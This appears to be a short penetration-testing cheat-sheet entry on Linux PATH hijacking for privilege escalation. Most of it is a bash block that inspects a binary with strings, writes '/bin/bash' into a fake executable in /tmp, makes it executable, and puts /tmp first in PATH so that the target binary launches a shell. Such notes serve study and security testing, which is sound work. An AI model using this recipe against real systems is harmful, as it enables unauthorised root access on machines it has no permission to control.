# PATH Variable

### Execute PATH variable permission. 

```bash
# Get the strings command to get the runtime calls
strings /path/to/binary

# Create the executable within /tmp dir
echo "/bin/bash" > "command"

# Give executable permissions
chmod +x "command"

# Amend the PATH env
export PATH=/tmp:$PATH

# Execute it
It will trigger the one within /tmp we created.
```
